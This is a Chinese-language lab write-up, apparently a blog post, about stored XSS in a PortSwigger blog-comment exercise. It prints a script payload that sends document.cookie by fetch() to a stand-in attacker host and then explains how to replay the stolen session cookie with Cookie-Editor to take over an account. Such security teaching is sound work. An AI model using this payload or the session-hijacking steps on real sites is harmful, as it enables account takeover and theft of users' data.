XSS漏洞利用:通过Cookie-Editor窃取会话Cookie实现账户劫持

0 阅读3分钟

利用跨站脚本(XSS)窃取Cookie —— 通过Cookie-Editor实现账户劫持

Bash Overflow

5分钟阅读 · 2025年8月6日

利用跨站脚本(XSS)窃取Cookie —— 通过Cookie-Editor实现账户劫持

免责声明:

本文档中描述的技术仅用于道德用途和教育目的。在未经授权的环境中未经批准使用这些方法是严格禁止的,因为这是非法、不道德的行为,并可能导致严重后果。

务必负责任地行事,遵守所有适用法律,并遵循既定的道德准则。任何利用安全漏洞或危害他人安全、隐私及完整性的行为都是严格禁止的。

漏洞概述

在 PortSwigger 提供的这个实验室环境中,我们探索了一个存在于示例网站博客评论功能中的存储型跨站脚本(XSS)漏洞。该漏洞允许攻击者在评论部分注入恶意脚本,当其他受害者用户浏览该博客文章时,恶意脚本会在其浏览器中执行。

复现步骤与概念验证(PoC)

1. 注入恶意载荷

首先,攻击者在博客文章的评论框中提交以下恶意JavaScript代码作为评论内容:

<script>
  fetch('https://恶意服务器.net/steal?cookie=' + document.cookie);
</script>

技术解析:当其他用户(受害者)访问此页面时,该<script>标签内的代码会在其浏览器中自动运行。document.cookie用于获取受害者的当前会话Cookie,然后通过fetch请求将这些敏感数据发送到攻击者控制的远程服务器(https://恶意服务器.net/steal?cookie=)。

2. 搭建攻击者服务器

攻击者需要在其控制的服务器上设置一个端点(例如/steal)来接收并记录窃取到的Cookie数据。当受害者的浏览器向此URL发送GET请求时,服务器会将Cookie参数的值保存下来。

3. 窃取并利用Cookie

一旦受害者访问包含恶意评论的博客文章,他们的Cookie就会被发送到攻击者的服务器。攻击者获取到Cookie后,可以使用浏览器扩展 Cookie-Editor 等工具:

  • 打开目标网站的登录页面。
  • 使用Cookie-Editor扩展,将当前会话的Cookie替换为窃取到的受害者Cookie。
  • 刷新页面后,攻击者即可无需密码,直接以受害者的身份登录其账户,实现账户的完全劫持。

漏洞影响

这种存储型XSS漏洞的成功利用将导致严重的账户劫持风险:

  • 账户接管:攻击者可以完全接管受害者账户,执行任何操作,如修改密码、查看敏感信息、进行未授权交易等。
  • 数据泄露:攻击者能够访问受害者的私人数据、通信记录和个人信息。
  • 横向移动:如果受害者在同一浏览器中登录了多个应用,窃取的Cookie可能被用于攻击其他关联服务。
  • 声誉与信任损害:对于受影响的网站或平台而言,此类漏洞会严重损害用户信任和平台声誉。 CSD0tFqvECLokhw9aBeRqopJDR93OU7WxHE+knUD6TPOFijNjEfhrlxzvqXEAx3YGBkHArW79/A0QXhF4Kn76piPQMgW+FwQ9cI9K89V7A0ddlkpHcqTXiwI4N+glrttFE4JS4JiVGFbKXqPxpShTtpK0SJBzyMxDOhyhJWIT7ZF76xE9wmCXMmmnTzTgRqB